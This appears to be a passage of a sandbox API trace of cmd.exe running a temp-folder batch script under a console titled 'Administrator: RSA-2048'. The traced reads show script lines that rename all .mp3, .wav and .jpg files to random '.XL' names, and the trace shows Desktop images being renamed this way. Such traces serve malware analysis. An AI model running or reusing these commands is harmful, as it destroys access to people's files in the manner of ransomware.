[0037.606] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.606] GetFileType (hFile=0x74) returned 0x1 [0037.606] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x615 [0037.606] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.606] SetFilePointer (in: hFile=0x74, lDistanceToMove=1559, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x617 [0037.606] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\np3\r\n") returned 2 [0037.606] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.606] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x617 [0037.606] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.606] GetFileType (hFile=0x74) returned 0x1 [0037.606] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x617 [0037.606] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.606] SetFilePointer (in: hFile=0x74, lDistanceToMove=1585, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x631 [0037.606] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=26, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="RENAME *.mp3 %RANDOM%.XL\r\n") returned 26 [0037.606] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.606] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x631 [0037.606] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.606] GetFileType (hFile=0x74) returned 0x1 [0037.607] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x631 [0037.607] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.607] SetFilePointer (in: hFile=0x74, lDistanceToMove=1596, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x63c [0037.607] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=11, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="goto Lock\r\n3 %RANDOM%.XL\r\n") returned 11 [0037.607] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.607] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x63c [0037.607] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.607] GetFileType (hFile=0x74) returned 0x1 [0037.607] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x63c [0037.607] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.607] SetFilePointer (in: hFile=0x74, lDistanceToMove=1598, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x63e [0037.607] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\nto Lock\r\n") returned 2 [0037.607] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.607] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x63e [0037.607] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.607] GetFileType (hFile=0x74) returned 0x1 [0037.607] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x63e [0037.608] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.608] SetFilePointer (in: hFile=0x74, lDistanceToMove=1604, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x644 [0037.608] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=6, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr=":wav\r\nock\r\n") returned 6 [0037.608] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.608] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x644 [0037.608] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.608] GetFileType (hFile=0x74) returned 0x1 [0037.608] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x644 [0037.608] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.608] SetFilePointer (in: hFile=0x74, lDistanceToMove=1606, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x646 [0037.608] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\nav\r\n") returned 2 [0037.608] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.608] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x646 [0037.608] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.608] GetFileType (hFile=0x74) returned 0x1 [0037.608] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x646 [0037.608] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.608] SetFilePointer (in: hFile=0x74, lDistanceToMove=1632, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x660 [0037.609] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=26, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="RENAME *.wav %RANDOM%.XL\r\n") returned 26 [0037.609] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.609] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x660 [0037.609] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.609] GetFileType (hFile=0x74) returned 0x1 [0037.609] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x660 [0037.609] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.609] SetFilePointer (in: hFile=0x74, lDistanceToMove=1643, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x66b [0037.609] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=11, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="goto Lock\r\nv %RANDOM%.XL\r\n") returned 11 [0037.609] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.609] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x66b [0037.609] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.609] GetFileType (hFile=0x74) returned 0x1 [0037.609] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x66b [0037.609] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.609] SetFilePointer (in: hFile=0x74, lDistanceToMove=1645, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x66d [0037.609] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\nto Lock\r\n") returned 2 [0037.609] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.609] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x66d [0037.610] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.610] GetFileType (hFile=0x74) returned 0x1 [0037.610] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x66d [0037.610] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.610] SetFilePointer (in: hFile=0x74, lDistanceToMove=1651, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x673 [0037.610] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=6, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr=":jpg\r\nock\r\n") returned 6 [0037.610] _close (_FileHandle=3) returned 0 [0037.610] _get_osfhandle (_FileHandle=1) returned 0x7 [0037.610] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0037.610] _get_osfhandle (_FileHandle=1) returned 0x7 [0037.611] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a6041ac | out: lpMode=0x4a6041ac) returned 1 [0037.611] _get_osfhandle (_FileHandle=0) returned 0x3 [0037.611] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a6041b0 | out: lpMode=0x4a6041b0) returned 1 [0037.611] SetConsoleInputExeNameW () returned 0x1 [0037.611] GetConsoleOutputCP () returned 0x1b5 [0037.611] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a604260 | out: lpCPInfo=0x4a604260) returned 1 [0037.611] SetThreadUILanguage (LangId=0x0) returned 0x409 [0037.612] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0037.612] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0037.612] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.612] SetFilePointer (in: hFile=0x74, lDistanceToMove=1651, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x673 [0037.612] GetProcessHeap () returned 0x4e0000 [0037.612] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4e0880 | out: hHeap=0x4e0000) returned 1 [0037.612] GetProcessHeap () returned 0x4e0000 [0037.612] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4c18 | out: hHeap=0x4e0000) returned 1 [0037.612] GetProcessHeap () returned 0x4e0000 [0037.612] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4bf8 | out: hHeap=0x4e0000) returned 1 [0037.612] GetProcessHeap () returned 0x4e0000 [0037.612] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4bd8 | out: hHeap=0x4e0000) returned 1 [0037.612] GetProcessHeap () returned 0x4e0000 [0037.612] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4b78 | out: hHeap=0x4e0000) returned 1 [0037.612] GetProcessHeap () returned 0x4e0000 [0037.612] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4b58 | out: hHeap=0x4e0000) returned 1 [0037.612] GetProcessHeap () returned 0x4e0000 [0037.612] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4b38 | out: hHeap=0x4e0000) returned 1 [0037.612] GetProcessHeap () returned 0x4e0000 [0037.612] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4b18 | out: hHeap=0x4e0000) returned 1 [0037.612] GetProcessHeap () returned 0x4e0000 [0037.612] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4ab8 | out: hHeap=0x4e0000) returned 1 [0037.612] GetProcessHeap () returned 0x4e0000 [0037.612] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4a98 | out: hHeap=0x4e0000) returned 1 [0037.613] GetProcessHeap () returned 0x4e0000 [0037.613] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4518 | out: hHeap=0x4e0000) returned 1 [0037.613] GetProcessHeap () returned 0x4e0000 [0037.613] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4a38 | out: hHeap=0x4e0000) returned 1 [0037.613] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.613] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x673 [0037.613] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0x1fba, lpOverlapped=0x0) returned 1 [0037.613] SetFilePointer (in: hFile=0x74, lDistanceToMove=1653, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x675 [0037.613] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="\r\n EXIST *.jpg goto jpg\r\n\r\n") returned 2 [0037.613] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.613] GetFileType (hFile=0x74) returned 0x1 [0037.613] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.613] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x675 [0037.613] GetProcessHeap () returned 0x4e0000 [0037.613] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x4f5868 [0037.613] GetProcessHeap () returned 0x4e0000 [0037.613] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5868 | out: hHeap=0x4e0000) returned 1 [0037.613] _tell (_FileHandle=3) returned 1653 [0037.614] _close (_FileHandle=3) returned 0 [0037.614] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0037.614] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0037.614] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.614] SetFilePointer (in: hFile=0x74, lDistanceToMove=1653, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x675 [0037.614] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.614] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x675 [0037.614] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0x1fb8, lpOverlapped=0x0) returned 1 [0037.614] SetFilePointer (in: hFile=0x74, lDistanceToMove=1679, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x68f [0037.614] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=26, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="RENAME *.jpg %RANDOM%.XL\r\n\n") returned 26 [0037.614] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.615] GetFileType (hFile=0x74) returned 0x1 [0037.615] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.615] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x68f [0037.615] GetProcessHeap () returned 0x4e0000 [0037.615] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x4f5868 [0037.615] GetProcessHeap () returned 0x4e0000 [0037.615] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x4008) returned 0x5038a0 [0037.615] GetProcessHeap () returned 0x4e0000 [0037.615] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x16) returned 0x4f4a38 [0037.615] GetEnvironmentVariableW (in: lpName="RANDOM", lpBuffer=0x4a610640, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0037.616] _wcsicmp (_String1="RANDOM", _String2="CD") returned 15 [0037.616] _wcsicmp (_String1="RANDOM", _String2="ERRORLEVEL") returned 13 [0037.616] _wcsicmp (_String1="RANDOM", _String2="CMDEXTVERSION") returned 15 [0037.616] _wcsicmp (_String1="RANDOM", _String2="CMDCMDLINE") returned 15 [0037.616] _wcsicmp (_String1="RANDOM", _String2="DATE") returned 14 [0037.616] _wcsicmp (_String1="RANDOM", _String2="TIME") returned -2 [0037.616] _wcsicmp (_String1="RANDOM", _String2="RANDOM") returned 0 [0037.616] rand () returned 2894 [0037.616] _vsnwprintf (in: _Buffer=0x4a610640, _BufferCount=0x1fff, _Format="%d", _ArgList=0x41f464 | out: _Buffer="2894") returned 4 [0037.616] GetProcessHeap () returned 0x4e0000 [0037.616] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4a38 | out: hHeap=0x4e0000) returned 1 [0037.616] GetProcessHeap () returned 0x4e0000 [0037.616] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x5038a0 | out: hHeap=0x4e0000) returned 1 [0037.616] GetProcessHeap () returned 0x4e0000 [0037.616] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5868 | out: hHeap=0x4e0000) returned 1 [0037.617] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4a38 [0037.617] GetProcessHeap () returned 0x4e0000 [0037.617] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x16) returned 0x4f4a98 [0037.617] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x26) returned 0x4f4ab8 [0037.617] _tell (_FileHandle=3) returned 1679 [0037.617] _close (_FileHandle=3) returned 0 [0037.618] _wcsicmp (_String1="RENAME", _String2="DIR") returned 14 [0037.618] _wcsicmp (_String1="RENAME", _String2="ERASE") returned 13 [0037.618] _wcsicmp (_String1="RENAME", _String2="DEL") returned 14 [0037.618] _wcsicmp (_String1="RENAME", _String2="TYPE") returned -2 [0037.618] _wcsicmp (_String1="RENAME", _String2="COPY") returned 15 [0037.618] _wcsicmp (_String1="RENAME", _String2="CD") returned 15 [0037.618] _wcsicmp (_String1="RENAME", _String2="CHDIR") returned 15 [0037.618] _wcsicmp (_String1="RENAME", _String2="RENAME") returned 0 [0037.618] GetConsoleTitleW (in: lpConsoleTitle=0x41f104, nSize=0x104 | out: lpConsoleTitle="Administrator: RSA-2048") returned 0x18 [0037.619] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x44) returned 0x4f4ae8 [0037.619] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4f4ae8, Size=0x26) returned 0x4f4ae8 [0037.619] GetProcessHeap () returned 0x4e0000 [0037.619] RtlSizeHeap (HeapHandle=0x4e0000, Flags=0x0, MemoryPointer=0x4f4ae8) returned 0x26 [0037.619] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x34) returned 0x4f4b18 [0037.619] GetProcessHeap () returned 0x4e0000 [0037.619] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x44) returned 0x4f4b58 [0037.619] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4f4b58, Size=0x26) returned 0x4f4b58 [0037.619] GetProcessHeap () returned 0x4e0000 [0037.619] RtlSizeHeap (HeapHandle=0x4e0000, Flags=0x0, MemoryPointer=0x4f4b58) returned 0x26 [0037.619] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x2c) returned 0x4f4b88 [0037.619] GetProcessHeap () returned 0x4e0000 [0037.619] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x258) returned 0x4f5868 [0037.619] _wcsicmp (_String1="*.jpg", _String2=".") returned -4 [0037.619] _wcsicmp (_String1="*.jpg", _String2="..") returned -4 [0037.619] GetFileAttributesW (lpFileName="*.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\*.jpg")) returned 0xffffffff [0037.620] GetLastError () returned 0x7b [0037.620] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x210) returned 0x4f5ac8 [0037.620] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4f5ad0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0037.620] GetFullPathNameW (in: lpFileName="*.jpg", nBufferLength=0x104, lpBuffer=0x41e868, lpFilePart=0x41e850 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.jpg", lpFilePart=0x41e850*="*.jpg") returned 0x2b [0037.620] SetErrorMode (uMode=0x0) returned 0x1 [0037.620] GetProcessHeap () returned 0x4e0000 [0037.620] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x258) returned 0x4f5ce0 [0037.620] _wcsicmp (_String1="*.jpg", _String2=".") returned -4 [0037.620] _wcsicmp (_String1="*.jpg", _String2="..") returned -4 [0037.620] GetFileAttributesW (lpFileName="*.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\*.jpg")) returned 0xffffffff [0037.620] GetLastError () returned 0x7b [0037.620] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.jpg", fInfoLevelId=0x1, lpFindFileData=0x4f5870, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x4f5870) returned 0x4f4bc0 [0037.620] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\J_dwld.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\j_dwld.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\2894.XL" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\2894.xl")) returned 1 [0037.622] FindNextFileW (in: hFindFile=0x4f4bc0, lpFindFileData=0x4f5870 | out: lpFindFileData=0x4f5870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5ce7d090, ftCreationTime.dwHighDateTime=0x1d5d85a, ftLastAccessTime.dwLowDateTime=0x59c8f4e0, ftLastAccessTime.dwHighDateTime=0x1d5da3d, ftLastWriteTime.dwLowDateTime=0x59c8f4e0, ftLastWriteTime.dwHighDateTime=0x1d5da3d, nFileSizeHigh=0x0, nFileSizeLow=0xaa24, dwReserved0=0x0, dwReserved1=0x0, cFileName="K0b9t2GfSs.jpg", cAlternateFileName="")) returned 1 [0037.623] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\K0b9t2GfSs.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\k0b9t2gfss.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\2894.XL" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\2894.xl")) returned 0 [0037.624] GetLastError () returned 0xb7 [0037.624] _get_osfhandle (_FileHandle=2) returned 0xb [0037.624] GetFileType (hFile=0xb) returned 0x2 [0037.624] GetStdHandle (nStdHandle=0xfffffff4) returned 0xb [0037.624] GetConsoleMode (in: hConsoleHandle=0xb, lpMode=0x41e9f8 | out: lpMode=0x41e9f8) returned 1 [0037.624] _get_osfhandle (_FileHandle=2) returned 0xb [0037.625] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xb, lpConsoleScreenBufferInfo=0x41ea2c | out: lpConsoleScreenBufferInfo=0x41ea2c) returned 1 [0037.625] FormatMessageW (in: dwFlags=0x1a00, lpSource=0x0, dwMessageId=0x234d, dwLanguageId=0x0, lpBuffer=0x4a614640, nSize=0x2000, Arguments=0x0 | out: lpBuffer="A duplicate file name exists, or the file\r\ncannot be found.\r\n") returned 0x3d [0037.625] FormatMessageW (in: dwFlags=0x1800, lpSource=0x0, dwMessageId=0x234d, dwLanguageId=0x0, lpBuffer=0x4a614640, nSize=0x2000, Arguments=0x41ea6c | out: lpBuffer="A duplicate file name exists, or the file\r\ncannot be found.\r\n") returned 0x3d [0037.625] WriteConsoleW (in: hConsoleOutput=0xb, lpBuffer=0x4a614640*, nNumberOfCharsToWrite=0x3d, lpNumberOfCharsWritten=0x41ea50, lpReserved=0x0 | out: lpBuffer=0x4a614640*, lpNumberOfCharsWritten=0x41ea50*=0x3d) returned 1 [0037.626] FindNextFileW (in: hFindFile=0x4f4bc0, lpFindFileData=0x4f5870 | out: lpFindFileData=0x4f5870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xebd0430, ftCreationTime.dwHighDateTime=0x1d5e368, ftLastAccessTime.dwLowDateTime=0x31503930, 